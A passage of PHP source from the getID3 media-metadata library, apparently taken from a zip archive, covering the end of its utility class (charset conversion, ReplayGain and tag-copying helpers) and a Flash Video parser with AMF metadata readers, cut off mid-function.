$ConversionFunctionList[strtoupper($in_charset)][strtoupper($out_charset)]; return self::$ConversionFunction($string); } throw new Exception('PHP does not has mb_convert_encoding() or iconv() support - cannot convert from '.$in_charset.' to '.$out_charset); } /** * @param mixed $data * @param string $charset * * @return mixed */ public static function recursiveMultiByteCharString2HTML($data, $charset='ISO-8859-1') { if (is_string($data)) { return self::MultiByteCharString2HTML($data, $charset); } elseif (is_array($data)) { $return_data = array(); foreach ($data as $key => $value) { $return_data[$key] = self::recursiveMultiByteCharString2HTML($value, $charset); } return $return_data; } // integer, float, objects, resources, etc return $data; } /** * @param string|int|float $string * @param string $charset * * @return string */ public static function MultiByteCharString2HTML($string, $charset='ISO-8859-1') { $string = (string) $string; // in case trying to pass a numeric (float, int) string, would otherwise return an empty string $HTMLstring = ''; switch (strtolower($charset)) { case '1251': case '1252': case '866': case '932': case '936': case '950': case 'big5': case 'big5-hkscs': case 'cp1251': case 'cp1252': case 'cp866': case 'euc-jp': case 'eucjp': case 'gb2312': case 'ibm866': case 'iso-8859-1': case 'iso-8859-15': case 'iso8859-1': case 'iso8859-15': case 'koi8-r': case 'koi8-ru': case 'koi8r': case 'shift_jis': case 'sjis': case 'win-1251': case 'windows-1251': case 'windows-1252': $HTMLstring = htmlentities($string, ENT_COMPAT, $charset); break; case 'utf-8': $strlen = strlen($string); for ($i = 0; $i < $strlen; $i++) { $char_ord_val = ord($string[$i]); $charval = 0; if ($char_ord_val < 0x80) { $charval = $char_ord_val; } elseif ((($char_ord_val & 0xF0) >> 4) == 0x0F && $i+3 < $strlen) { $charval = (($char_ord_val & 0x07) << 18); $charval += ((ord($string[++$i]) & 0x3F) << 12); $charval += ((ord($string[++$i]) & 0x3F) << 6); $charval += (ord($string[++$i]) & 0x3F); } elseif ((($char_ord_val & 0xE0) >> 5) == 0x07 && $i+2 < $strlen) { $charval = (($char_ord_val & 0x0F) << 12); $charval += ((ord($string[++$i]) & 0x3F) << 6); $charval += (ord($string[++$i]) & 0x3F); } elseif ((($char_ord_val & 0xC0) >> 6) == 0x03 && $i+1 < $strlen) { $charval = (($char_ord_val & 0x1F) << 6); $charval += (ord($string[++$i]) & 0x3F); } if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= htmlentities(chr($charval)); } else { $HTMLstring .= '&#'.$charval.';'; } } break; case 'utf-16le': for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::LittleEndian2Int(substr($string, $i, 2)); if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= chr($charval); } else { $HTMLstring .= '&#'.$charval.';'; } } break; case 'utf-16be': for ($i = 0; $i < strlen($string); $i += 2) { $charval = self::BigEndian2Int(substr($string, $i, 2)); if (($charval >= 32) && ($charval <= 127)) { $HTMLstring .= chr($charval); } else { $HTMLstring .= '&#'.$charval.';'; } } break; default: $HTMLstring = 'ERROR: Character set "'.$charset.'" not supported in MultiByteCharString2HTML()'; break; } return $HTMLstring; } /** * @param int $namecode * * @return string */ public static function RGADnameLookup($namecode) { static $RGADname = array(); if (empty($RGADname)) { $RGADname[0] = 'not set'; $RGADname[1] = 'Track Gain Adjustment'; $RGADname[2] = 'Album Gain Adjustment'; } return (isset($RGADname[$namecode]) ? $RGADname[$namecode] : ''); } /** * @param int $originatorcode * * @return string */ public static function RGADoriginatorLookup($originatorcode) { static $RGADoriginator = array(); if (empty($RGADoriginator)) { $RGADoriginator[0] = 'unspecified'; $RGADoriginator[1] = 'pre-set by artist/producer/mastering engineer'; $RGADoriginator[2] = 'set by user'; $RGADoriginator[3] = 'determined automatically'; } return (isset($RGADoriginator[$originatorcode]) ? $RGADoriginator[$originatorcode] : ''); } /** * @param int $rawadjustment * @param int $signbit * * @return float */ public static function RGADadjustmentLookup($rawadjustment, $signbit) { $adjustment = (float) $rawadjustment / 10; if ($signbit == 1) { $adjustment *= -1; } return $adjustment; } /** * @param int $namecode * @param int $originatorcode * @param int $replaygain * * @return string */ public static function RGADgainString($namecode, $originatorcode, $replaygain) { if ($replaygain < 0) { $signbit = '1'; } else { $signbit = '0'; } $storedreplaygain = intval(round($replaygain * 10)); $gainstring = str_pad(decbin($namecode), 3, '0', STR_PAD_LEFT); $gainstring .= str_pad(decbin($originatorcode), 3, '0', STR_PAD_LEFT); $gainstring .= $signbit; $gainstring .= str_pad(decbin($storedreplaygain), 9, '0', STR_PAD_LEFT); return $gainstring; } /** * @param float $amplitude * * @return float */ public static function RGADamplitude2dB($amplitude) { return 20 * log10($amplitude); } /** * @param string $imgData * @param array $imageinfo * * @return array|false */ public static function GetDataImageSize($imgData, &$imageinfo=array()) { if (PHP_VERSION_ID >= 50400) { $GetDataImageSize = @getimagesizefromstring($imgData, $imageinfo); if ($GetDataImageSize === false || !isset($GetDataImageSize[0], $GetDataImageSize[1])) { return false; } $GetDataImageSize['height'] = $GetDataImageSize[0]; $GetDataImageSize['width'] = $GetDataImageSize[1]; return $GetDataImageSize; } static $tempdir = ''; if (empty($tempdir)) { if (function_exists('sys_get_temp_dir')) { $tempdir = sys_get_temp_dir(); // https://github.com/JamesHeinrich/getID3/issues/52 } // yes this is ugly, feel free to suggest a better way if (include_once(dirname(__FILE__).'/getid3.php')) { $getid3_temp = new getID3(); if ($getid3_temp_tempdir = $getid3_temp->tempdir) { $tempdir = $getid3_temp_tempdir; } unset($getid3_temp, $getid3_temp_tempdir); } } $GetDataImageSize = false; if ($tempfilename = tempnam($tempdir, 'gI3')) { if (is_writable($tempfilename) && is_file($tempfilename) && ($tmp = fopen($tempfilename, 'wb'))) { fwrite($tmp, $imgData); fclose($tmp); $GetDataImageSize = @getimagesize($tempfilename, $imageinfo); if (($GetDataImageSize === false) || !isset($GetDataImageSize[0]) || !isset($GetDataImageSize[1])) { return false; } $GetDataImageSize['height'] = $GetDataImageSize[0]; $GetDataImageSize['width'] = $GetDataImageSize[1]; } unlink($tempfilename); } return $GetDataImageSize; } /** * @param string $mime_type * * @return string */ public static function ImageExtFromMime($mime_type) { // temporary way, works OK for now, but should be reworked in the future return str_replace(array('image/', 'x-', 'jpeg'), array('', '', 'jpg'), $mime_type); } /** * @param array $ThisFileInfo * @param bool $option_tags_html default true (just as in the main getID3 class) * * @return bool */ public static function CopyTagsToComments(&$ThisFileInfo, $option_tags_html=true) { // Copy all entries from ['tags'] into common ['comments'] if (!empty($ThisFileInfo['tags'])) { // Some tag types can only support limited character sets and may contain data in non-standard encoding (usually ID3v1) // and/or poorly-transliterated tag values that are also in tag formats that do support full-range character sets // To make the output more user-friendly, process the potentially-problematic tag formats last to enhance the chance that // the first entries in [comments] are the most correct and the "bad" ones (if any) come later. // https://github.com/JamesHeinrich/getID3/issues/338 $processLastTagTypes = array('id3v1','riff'); foreach ($processLastTagTypes as $processLastTagType) { if (isset($ThisFileInfo['tags'][$processLastTagType])) { // bubble ID3v1 to the end, if present to aid in detecting bad ID3v1 encodings $temp = $ThisFileInfo['tags'][$processLastTagType]; unset($ThisFileInfo['tags'][$processLastTagType]); $ThisFileInfo['tags'][$processLastTagType] = $temp; unset($temp); } } foreach ($ThisFileInfo['tags'] as $tagtype => $tagarray) { foreach ($tagarray as $tagname => $tagdata) { foreach ($tagdata as $key => $value) { if (!empty($value)) { if (empty($ThisFileInfo['comments'][$tagname])) { // fall through and append value } elseif ($tagtype == 'id3v1') { $newvaluelength = strlen(trim($value)); foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { $oldvaluelength = strlen(trim($existingvalue)); if (($newvaluelength <= $oldvaluelength) && (substr($existingvalue, 0, $newvaluelength) == trim($value))) { // new value is identical but shorter-than (or equal-length to) one already in comments - skip break 2; } if (function_exists('mb_convert_encoding')) { if (trim($value) == trim(substr(mb_convert_encoding($existingvalue, $ThisFileInfo['id3v1']['encoding'], $ThisFileInfo['encoding']), 0, 30))) { // value stored in ID3v1 appears to be probably the multibyte value transliterated (badly) into ISO-8859-1 in ID3v1. // As an example, Foobar2000 will do this if you tag a file with Chinese or Arabic or Cyrillic or something that doesn't fit into ISO-8859-1 the ID3v1 will consist of mostly "?" characters, one per multibyte unrepresentable character break 2; } } } } elseif (!is_array($value)) { $newvaluelength = strlen(trim($value)); $newvaluelengthMB = mb_strlen(trim($value)); foreach ($ThisFileInfo['comments'][$tagname] as $existingkey => $existingvalue) { $oldvaluelength = strlen(trim($existingvalue)); $oldvaluelengthMB = mb_strlen(trim($existingvalue)); if (($newvaluelengthMB == $oldvaluelengthMB) && ($existingvalue == getid3_lib::iconv_fallback('UTF-8', 'ASCII', $value))) { // https://github.com/JamesHeinrich/getID3/issues/338 // check for tags containing extended characters that may have been forced into limited-character storage (e.g. UTF8 values into ASCII) // which will usually display unrepresentable characters as "?" $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); break; } if ((strlen($existingvalue) > 10) && ($newvaluelength > $oldvaluelength) && (substr(trim($value), 0, strlen($existingvalue)) == $existingvalue)) { $ThisFileInfo['comments'][$tagname][$existingkey] = trim($value); break; } } } if (is_array($value) || empty($ThisFileInfo['comments'][$tagname]) || !in_array(trim($value), $ThisFileInfo['comments'][$tagname])) { $value = (is_string($value) ? trim($value) : $value); if (!is_int($key) && !ctype_digit($key)) { $ThisFileInfo['comments'][$tagname][$key] = $value; } else { if (!isset($ThisFileInfo['comments'][$tagname])) { $ThisFileInfo['comments'][$tagname] = array($value); } else { $ThisFileInfo['comments'][$tagname][] = $value; } } } } } } } // attempt to standardize spelling of returned keys if (!empty($ThisFileInfo['comments'])) { $StandardizeFieldNames = array( 'tracknumber' => 'track_number', 'track' => 'track_number', ); foreach ($StandardizeFieldNames as $badkey => $goodkey) { if (array_key_exists($badkey, $ThisFileInfo['comments']) && !array_key_exists($goodkey, $ThisFileInfo['comments'])) { $ThisFileInfo['comments'][$goodkey] = $ThisFileInfo['comments'][$badkey]; unset($ThisFileInfo['comments'][$badkey]); } } } if ($option_tags_html) { // Copy ['comments'] to ['comments_html'] if (!empty($ThisFileInfo['comments'])) { foreach ($ThisFileInfo['comments'] as $field => $values) { if ($field == 'picture') { // pictures can take up a lot of space, and we don't need multiple copies of them // let there be a single copy in [comments][picture], and not elsewhere continue; } foreach ($values as $index => $value) { if (is_array($value)) { $ThisFileInfo['comments_html'][$field][$index] = $value; } else { $ThisFileInfo['comments_html'][$field][$index] = str_replace('�', '', self::MultiByteCharString2HTML($value, $ThisFileInfo['encoding'])); } } } } } } return true; } /** * @param string $key * @param int $begin * @param int $end * @param string $file * @param string $name * * @return string */ public static function EmbeddedLookup($key, $begin, $end, $file, $name) { // Cached static $cache; if (isset($cache[$file][$name])) { return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); } // Init $keylength = strlen($key); $line_count = $end - $begin - 7; // Open php file $fp = fopen($file, 'r'); // Discard $begin lines for ($i = 0; $i < ($begin + 3); $i++) { fgets($fp, 1024); } // Loop thru line while (0 < $line_count--) { // Read line $line = ltrim(fgets($fp, 1024), "\t "); // METHOD A: only cache the matching key - less memory but slower on next lookup of not-previously-looked-up key //$keycheck = substr($line, 0, $keylength); //if ($key == $keycheck) { // $cache[$file][$name][$keycheck] = substr($line, $keylength + 1); // break; //} // METHOD B: cache all keys in this lookup - more memory but faster on next lookup of not-previously-looked-up key //$cache[$file][$name][substr($line, 0, $keylength)] = trim(substr($line, $keylength + 1)); $explodedLine = explode("\t", $line, 2); $ThisKey = (isset($explodedLine[0]) ? $explodedLine[0] : ''); $ThisValue = (isset($explodedLine[1]) ? $explodedLine[1] : ''); $cache[$file][$name][$ThisKey] = trim($ThisValue); } // Close and return fclose($fp); return (isset($cache[$file][$name][$key]) ? $cache[$file][$name][$key] : ''); } /** * @param string $filename * @param string $sourcefile * @param bool $DieOnFailure * * @return bool * @throws Exception */ public static function IncludeDependency($filename, $sourcefile, $DieOnFailure=false) { global $GETID3_ERRORARRAY; if (file_exists($filename)) { if (include_once($filename)) { return true; } else { $diemessage = basename($sourcefile).' depends on '.$filename.', which has errors'; } } else { $diemessage = basename($sourcefile).' depends on '.$filename.', which is missing'; } if ($DieOnFailure) { throw new Exception($diemessage); } else { $GETID3_ERRORARRAY[] = $diemessage; } return false; } /** * @param string $string * * @return string */ public static function trimNullByte($string) { return trim($string, "\x00"); } /** * @param string $path * * @return float|bool */ public static function getFileSizeSyscall($path) { $commandline = null; $filesize = false; if (GETID3_OS_ISWINDOWS) { if (class_exists('COM')) { // From PHP 5.3.15 and 5.4.5, COM and DOTNET is no longer built into the php core.you have to add COM support in php.ini: $filesystem = new COM('Scripting.FileSystemObject'); $file = $filesystem->GetFile($path); $filesize = $file->Size(); unset($filesystem, $file); } else { $commandline = 'for %I in ('.escapeshellarg($path).') do @echo %~zI'; } } else { $commandline = 'ls -l '.escapeshellarg($path).' | awk \'{print $5}\''; } if (isset($commandline)) { $output = trim(`$commandline`); if (ctype_digit($output)) { $filesize = (float) $output; } } return $filesize; } /** * @param string $filename * * @return string|false */ public static function truepath($filename) { // 2017-11-08: this could use some improvement, patches welcome if (preg_match('#^(\\\\\\\\|//)[a-z0-9]#i', $filename, $matches)) { // PHP's built-in realpath function does not work on UNC Windows shares $goodpath = array(); foreach (explode('/', str_replace('\\', '/', $filename)) as $part) { if ($part == '.') { continue; } if ($part == '..') { if (count($goodpath)) { array_pop($goodpath); } else { // cannot step above this level, already at top level return false; } } else { $goodpath[] = $part; } } return implode(DIRECTORY_SEPARATOR, $goodpath); } return realpath($filename); } /** * Workaround for Bug #37268 (https://bugs.php.net/bug.php?id=37268) * * @param string $path A path. * @param string $suffix If the name component ends in suffix this will also be cut off. * * @return string */ public static function mb_basename($path, $suffix = '') { $splited = preg_split('#/#', rtrim($path, '/ ')); return substr(basename('X'.$splited[count($splited) - 1], $suffix), 1); } } PKm"[Giimodule.audio-video.flv.phpnu[ // // available at https://github.com/JamesHeinrich/getID3 // // or https://www.getid3.org // // or http://getid3.sourceforge.net // // see readme.txt for more details // ///////////////////////////////////////////////////////////////// // // // module.audio-video.flv.php // // module for analyzing Shockwave Flash Video files // // dependencies: NONE // // // ///////////////////////////////////////////////////////////////// // // // FLV module by Seth Kaufman // // // // * version 0.1 (26 June 2005) // // // // * version 0.1.1 (15 July 2005) // // minor modifications by James Heinrich // // // // * version 0.2 (22 February 2006) // // Support for On2 VP6 codec and meta information // // by Steve Webster // // // // * version 0.3 (15 June 2006) // // Modified to not read entire file into memory // // by James Heinrich // // // // * version 0.4 (07 December 2007) // // Bugfixes for incorrectly parsed FLV dimensions // // and incorrect parsing of onMetaTag // // by Evgeny Moysevich // // // // * version 0.5 (21 May 2009) // // Fixed parsing of audio tags and added additional codec // // details. The duration is now read from onMetaTag (if // // exists), rather than parsing whole file // // by Nigel Barnes // // // // * version 0.6 (24 May 2009) // // Better parsing of files with h264 video // // by Evgeny Moysevich // // // // * version 0.6.1 (30 May 2011) // // prevent infinite loops in expGolombUe() // // // // * version 0.7.0 (16 Jul 2013) // // handle GETID3_FLV_VIDEO_VP6FLV_ALPHA // // improved AVCSequenceParameterSetReader::readData() // // by Xander Schouwerwou // // /// ///////////////////////////////////////////////////////////////// if (!defined('GETID3_INCLUDEPATH')) { // prevent path-exposing attacks that access modules directly on public webservers exit; } define('GETID3_FLV_TAG_AUDIO', 8); define('GETID3_FLV_TAG_VIDEO', 9); define('GETID3_FLV_TAG_META', 18); define('GETID3_FLV_VIDEO_H263', 2); define('GETID3_FLV_VIDEO_SCREEN', 3); define('GETID3_FLV_VIDEO_VP6FLV', 4); define('GETID3_FLV_VIDEO_VP6FLV_ALPHA', 5); define('GETID3_FLV_VIDEO_SCREENV2', 6); define('GETID3_FLV_VIDEO_H264', 7); define('H264_AVC_SEQUENCE_HEADER', 0); define('H264_PROFILE_BASELINE', 66); define('H264_PROFILE_MAIN', 77); define('H264_PROFILE_EXTENDED', 88); define('H264_PROFILE_HIGH', 100); define('H264_PROFILE_HIGH10', 110); define('H264_PROFILE_HIGH422', 122); define('H264_PROFILE_HIGH444', 144); define('H264_PROFILE_HIGH444_PREDICTIVE', 244); class getid3_flv extends getid3_handler { const magic = 'FLV'; /** * Break out of the loop if too many frames have been scanned; only scan this * many if meta frame does not contain useful duration. * * @var int */ public $max_frames = 100000; /** * @return bool */ public function Analyze() { $info = &$this->getid3->info; $this->fseek($info['avdataoffset']); $FLVdataLength = $info['avdataend'] - $info['avdataoffset']; $FLVheader = $this->fread(5); $info['fileformat'] = 'flv'; $info['flv']['header']['signature'] = substr($FLVheader, 0, 3); $info['flv']['header']['version'] = getid3_lib::BigEndian2Int(substr($FLVheader, 3, 1)); $TypeFlags = getid3_lib::BigEndian2Int(substr($FLVheader, 4, 1)); if ($info['flv']['header']['signature'] != self::magic) { $this->error('Expecting "'.getid3_lib::PrintHexBytes(self::magic).'" at offset '.$info['avdataoffset'].', found "'.getid3_lib::PrintHexBytes($info['flv']['header']['signature']).'"'); unset($info['flv'], $info['fileformat']); return false; } $info['flv']['header']['hasAudio'] = (bool) ($TypeFlags & 0x04); $info['flv']['header']['hasVideo'] = (bool) ($TypeFlags & 0x01); $FrameSizeDataLength = getid3_lib::BigEndian2Int($this->fread(4)); $FLVheaderFrameLength = 9; if ($FrameSizeDataLength > $FLVheaderFrameLength) { $this->fseek($FrameSizeDataLength - $FLVheaderFrameLength, SEEK_CUR); } $Duration = 0; $found_video = false; $found_audio = false; $found_meta = false; $found_valid_meta_playtime = false; $tagParseCount = 0; $info['flv']['framecount'] = array('total'=>0, 'audio'=>0, 'video'=>0); $flv_framecount = &$info['flv']['framecount']; while ((($this->ftell() + 16) < $info['avdataend']) && (($tagParseCount++ <= $this->max_frames) || !$found_valid_meta_playtime)) { $ThisTagHeader = $this->fread(16); $PreviousTagLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 0, 4)); $TagType = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 4, 1)); $DataLength = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 5, 3)); $Timestamp = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 8, 3)); $LastHeaderByte = getid3_lib::BigEndian2Int(substr($ThisTagHeader, 15, 1)); $NextOffset = $this->ftell() - 1 + $DataLength; if ($Timestamp > $Duration) { $Duration = $Timestamp; } $flv_framecount['total']++; switch ($TagType) { case GETID3_FLV_TAG_AUDIO: $flv_framecount['audio']++; if (!$found_audio) { $found_audio = true; $info['flv']['audio']['audioFormat'] = ($LastHeaderByte >> 4) & 0x0F; $info['flv']['audio']['audioRate'] = ($LastHeaderByte >> 2) & 0x03; $info['flv']['audio']['audioSampleSize'] = ($LastHeaderByte >> 1) & 0x01; $info['flv']['audio']['audioType'] = $LastHeaderByte & 0x01; } break; case GETID3_FLV_TAG_VIDEO: $flv_framecount['video']++; if (!$found_video) { $found_video = true; $info['flv']['video']['videoCodec'] = $LastHeaderByte & 0x07; $FLVvideoHeader = $this->fread(11); $PictureSizeEnc = array(); if ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H264) { // this code block contributed by: moysevichØgmail*com $AVCPacketType = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 0, 1)); if ($AVCPacketType == H264_AVC_SEQUENCE_HEADER) { // read AVCDecoderConfigurationRecord $configurationVersion = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 1)); $AVCProfileIndication = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 1)); $profile_compatibility = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 1)); $lengthSizeMinusOne = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 1)); $numOfSequenceParameterSets = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 8, 1)); if (($numOfSequenceParameterSets & 0x1F) != 0) { // there is at least one SequenceParameterSet // read size of the first SequenceParameterSet //$spsSize = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 9, 2)); $spsSize = getid3_lib::LittleEndian2Int(substr($FLVvideoHeader, 9, 2)); // read the first SequenceParameterSet $sps = $this->fread($spsSize); if (strlen($sps) == $spsSize) { // make sure that whole SequenceParameterSet was red $spsReader = new AVCSequenceParameterSetReader($sps); $spsReader->readData(); $info['video']['resolution_x'] = $spsReader->getWidth(); $info['video']['resolution_y'] = $spsReader->getHeight(); } } } // end: moysevichØgmail*com } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_H263) { $PictureSizeType = (getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 3, 2))) >> 7; $PictureSizeType = $PictureSizeType & 0x0007; $info['flv']['header']['videoSizeType'] = $PictureSizeType; switch ($PictureSizeType) { case 0: //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)); //$PictureSizeEnc <<= 1; //$info['video']['resolution_x'] = ($PictureSizeEnc & 0xFF00) >> 8; //$PictureSizeEnc = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); //$PictureSizeEnc <<= 1; //$info['video']['resolution_y'] = ($PictureSizeEnc & 0xFF00) >> 8; $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 2)) >> 7; $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 5, 2)) >> 7; $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFF; $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFF; break; case 1: $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 4, 3)) >> 7; $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 3)) >> 7; $info['video']['resolution_x'] = $PictureSizeEnc['x'] & 0xFFFF; $info['video']['resolution_y'] = $PictureSizeEnc['y'] & 0xFFFF; break; case 2: $info['video']['resolution_x'] = 352; $info['video']['resolution_y'] = 288; break; case 3: $info['video']['resolution_x'] = 176; $info['video']['resolution_y'] = 144; break; case 4: $info['video']['resolution_x'] = 128; $info['video']['resolution_y'] = 96; break; case 5: $info['video']['resolution_x'] = 320; $info['video']['resolution_y'] = 240; break; case 6: $info['video']['resolution_x'] = 160; $info['video']['resolution_y'] = 120; break; default: $info['video']['resolution_x'] = 0; $info['video']['resolution_y'] = 0; break; } } elseif ($info['flv']['video']['videoCodec'] == GETID3_FLV_VIDEO_VP6FLV_ALPHA) { /* contributed by schouwerwouØgmail*com */ if (!isset($info['video']['resolution_x'])) { // only when meta data isn't set $PictureSizeEnc['x'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 6, 2)); $PictureSizeEnc['y'] = getid3_lib::BigEndian2Int(substr($FLVvideoHeader, 7, 2)); $info['video']['resolution_x'] = ($PictureSizeEnc['x'] & 0xFF) << 3; $info['video']['resolution_y'] = ($PictureSizeEnc['y'] & 0xFF) << 3; } /* end schouwerwouØgmail*com */ } if (!empty($info['video']['resolution_x']) && !empty($info['video']['resolution_y'])) { $info['video']['pixel_aspect_ratio'] = $info['video']['resolution_x'] / $info['video']['resolution_y']; } } break; // Meta tag case GETID3_FLV_TAG_META: if (!$found_meta) { $found_meta = true; $this->fseek(-1, SEEK_CUR); $datachunk = $this->fread($DataLength); $AMFstream = new AMFStream($datachunk); $reader = new AMFReader($AMFstream); $eventName = $reader->readData(); $info['flv']['meta'][$eventName] = $reader->readData(); unset($reader); $copykeys = array('framerate'=>'frame_rate', 'width'=>'resolution_x', 'height'=>'resolution_y', 'audiodatarate'=>'bitrate', 'videodatarate'=>'bitrate'); foreach ($copykeys as $sourcekey => $destkey) { if (isset($info['flv']['meta']['onMetaData'][$sourcekey])) { switch ($sourcekey) { case 'width': case 'height': $info['video'][$destkey] = intval(round($info['flv']['meta']['onMetaData'][$sourcekey])); break; case 'audiodatarate': $info['audio'][$destkey] = getid3_lib::CastAsInt(round($info['flv']['meta']['onMetaData'][$sourcekey] * 1000)); break; case 'videodatarate': case 'frame_rate': default: $info['video'][$destkey] = $info['flv']['meta']['onMetaData'][$sourcekey]; break; } } } if (!empty($info['flv']['meta']['onMetaData']['duration'])) { $found_valid_meta_playtime = true; } } break; default: // noop break; } $this->fseek($NextOffset); } $info['playtime_seconds'] = $Duration / 1000; if ($info['playtime_seconds'] > 0) { $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } if ($info['flv']['header']['hasAudio']) { $info['audio']['codec'] = self::audioFormatLookup($info['flv']['audio']['audioFormat']); $info['audio']['sample_rate'] = self::audioRateLookup($info['flv']['audio']['audioRate']); $info['audio']['bits_per_sample'] = self::audioBitDepthLookup($info['flv']['audio']['audioSampleSize']); $info['audio']['channels'] = $info['flv']['audio']['audioType'] + 1; // 0=mono,1=stereo $info['audio']['lossless'] = ($info['flv']['audio']['audioFormat'] ? false : true); // 0=uncompressed $info['audio']['dataformat'] = 'flv'; } if (!empty($info['flv']['header']['hasVideo'])) { $info['video']['codec'] = self::videoCodecLookup($info['flv']['video']['videoCodec']); $info['video']['dataformat'] = 'flv'; $info['video']['lossless'] = false; } // Set information from meta if (!empty($info['flv']['meta']['onMetaData']['duration'])) { $info['playtime_seconds'] = $info['flv']['meta']['onMetaData']['duration']; $info['bitrate'] = (($info['avdataend'] - $info['avdataoffset']) * 8) / $info['playtime_seconds']; } if (isset($info['flv']['meta']['onMetaData']['audiocodecid'])) { $info['audio']['codec'] = self::audioFormatLookup($info['flv']['meta']['onMetaData']['audiocodecid']); } if (isset($info['flv']['meta']['onMetaData']['videocodecid'])) { $info['video']['codec'] = self::videoCodecLookup($info['flv']['meta']['onMetaData']['videocodecid']); } return true; } /** * @param int $id * * @return string|false */ public static function audioFormatLookup($id) { static $lookup = array( 0 => 'Linear PCM, platform endian', 1 => 'ADPCM', 2 => 'mp3', 3 => 'Linear PCM, little endian', 4 => 'Nellymoser 16kHz mono', 5 => 'Nellymoser 8kHz mono', 6 => 'Nellymoser', 7 => 'G.711A-law logarithmic PCM', 8 => 'G.711 mu-law logarithmic PCM', 9 => 'reserved', 10 => 'AAC', 11 => 'Speex', 12 => false, // unknown? 13 => false, // unknown? 14 => 'mp3 8kHz', 15 => 'Device-specific sound', ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return int|false */ public static function audioRateLookup($id) { static $lookup = array( 0 => 5500, 1 => 11025, 2 => 22050, 3 => 44100, ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return int|false */ public static function audioBitDepthLookup($id) { static $lookup = array( 0 => 8, 1 => 16, ); return (isset($lookup[$id]) ? $lookup[$id] : false); } /** * @param int $id * * @return string|false */ public static function videoCodecLookup($id) { static $lookup = array( GETID3_FLV_VIDEO_H263 => 'Sorenson H.263', GETID3_FLV_VIDEO_SCREEN => 'Screen video', GETID3_FLV_VIDEO_VP6FLV => 'On2 VP6', GETID3_FLV_VIDEO_VP6FLV_ALPHA => 'On2 VP6 with alpha channel', GETID3_FLV_VIDEO_SCREENV2 => 'Screen video v2', GETID3_FLV_VIDEO_H264 => 'Sorenson H.264', ); return (isset($lookup[$id]) ? $lookup[$id] : false); } } class AMFStream { /** * @var string */ public $bytes; /** * @var int */ public $pos; /** * @param string $bytes */ public function __construct(&$bytes) { $this->bytes =& $bytes; $this->pos = 0; } /** * @return int */ public function readByte() { // 8-bit return ord(substr($this->bytes, $this->pos++, 1)); } /** * @return int */ public function readInt() { // 16-bit return ($this->readByte() << 8) + $this->readByte(); } /** * @return int */ public function readLong() { // 32-bit return ($this->readByte() << 24) + ($this->readByte() << 16) + ($this->readByte() << 8) + $this->readByte(); } /** * @return float|false */ public function readDouble() { return getid3_lib::BigEndian2Float($this->read(8)); } /** * @return string */ public function readUTF() { $length = $this->readInt(); return $this->read($length); } /** * @return string */ public function readLongUTF() { $length = $this->readLong(); return $this->read($length); } /** * @param int $length * * @return string */ public function read($length) { $val = substr($this->bytes, $this->pos, $length); $this->pos += $length; return $val; } /** * @return int */ public function peekByte() { $pos = $this->pos; $val = $this->readByte(); $this->pos = $pos; return $val; } /** * @return int */ public function peekInt() { $pos = $this->pos; $val = $this->readInt(); $this->pos = $pos; return $val; } /** * @return int */ public function peekLong() { $pos = $this->pos; $val = $this->readLong(); $this->pos = $pos; return $val; } /** * @return float|false */ public function peekDouble() { $pos = $this->pos; $val = $this->readDouble(); $this->pos = $pos; return $val; } /** * @return string */ public function peekUTF() { $pos = $this->pos; $val = $this->readUTF(); $this->pos = $pos; return $val; } /** * @return string */ public function peekLongUTF() { $pos = $this->pos; $val = $this->readLongUTF(); $this->pos = $pos; return $val; } } class AMFReader { /** * @var AMFStream */ public $stream; /** * @param AMFStream $stream */ public function __construct(AMFStream $stream) { $this->stream = $stream; } /** * @return mixed */ public function readData() { $value = null; $type = $this->stream->readByte(); switch ($type) { // Double case 0: $value = $this->readDouble(); break; // Boolean case 1: $value = $this->readBoolean(); break; // String case 2: $value = $this->readString(); break; // Object case 3: $value = $this->readObject(); break; // null case 6: return null; // Mixed array case 8: $value = $this->readMixedArray(); break; // Array case 10: $value = $this->readArray(); break; // Date case 11: $value = $this->readDate(); break; // Long string case 13: $value = $this->readLongString(); break; // XML (handled as string) case 15: $value = $this->readXML(); break; // Typed object (handled as object) case 16: $value = $this->readTypedObject(); break; // Long string default: $value = '(unknown or unsupported data type)'; break; } return $value; } /** * @return float|false */ public function readDouble() { return $this->stream->readDouble(); } /** * @return bool */ public function readBoolean() { return $this->stream->readByte() == 1; } /** * @return string */ public function readString() { return $this->stream->readUTF(); } /** * @return array */ public function readObject() { // Get highest numerical index - ignored // $highestIndex = $this->stream->readLong(); $data = array(); $key = null; while ($key = $this->stream->readUTF()) { $data[$key] = $this->readData(); } // Mixed array record ends with empty string (0x00 0x00) and 0x09 if (($key == '') && ($this->stream->peekByte() == 0x09)) { // Consume byte 